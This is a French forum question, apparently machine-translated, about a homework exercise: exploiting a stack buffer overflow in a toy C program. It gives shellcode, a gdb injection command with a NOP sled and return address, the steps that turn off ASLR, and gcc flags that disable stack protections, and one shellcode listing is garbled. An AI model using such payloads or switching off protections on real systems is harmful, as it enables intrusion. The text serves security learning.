Devoir – Impossible d’exploiter bufferoverflow

J’essaie d’apprendre à exploiter une technique simple de stream bufferover sous Backtrack Linux.

Voici mon programme C

#include  #include  int main(int argc, char **argv) { char buffer[500]; if(argc==2) { strcpy(buffer, argv[1]); //vulnerable function } return 0; } 

C’est le shellcode que j’utilise, qui correspond à simple /bin/ls \ x31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x24 \ x68 \ x6 \ x6 \ x6 \ x66 \ x66 \ x68 \ x62 \ x69 \ x83 \ xec \ x01 \ xc6 \ x04 \ x24 \ x2f \ x89 \ xe6 \ x50 \ x56 \ xb0 \ x0 \ x0 \ x89 \ xf \ x89 \ x31 \ x31 \ xd \ xd \ xcd \ x80

J’injecte ce shellcode dans gdb en utilisant la commande suivante

 run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35') 

Au fur et à mesure que je parcours l’application, elle génère SIG FAULT lors de la dernière instruction ret . A ce stade, EIP est correctement défini sur 0xffffd30c . Cette adresse est adressable et contient des séries de NOP , suivies de mon code shell comme indiqué dans les données utiles.

J’ai désactivé l’ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space

et aussi compilé mon binary en utilisant l’ fno-stack-protector .

Avez-vous une idée de la cause de SIGSEGV?

J’ai répondu à ma propre question, le problème était “Executable Stack Protection”, où la mémoire de la stack ne peut pas être exécutée. Ceci peut être désactivé dans gcc comme suit

gcc -z execstack

Avez-vous désactivé la protection anti-destruction de stack dans GCC (-fno-stack-protector)?

Comment désactiver l’optimisation du compilateur gcc pour activer le dépassement de mémoire tampon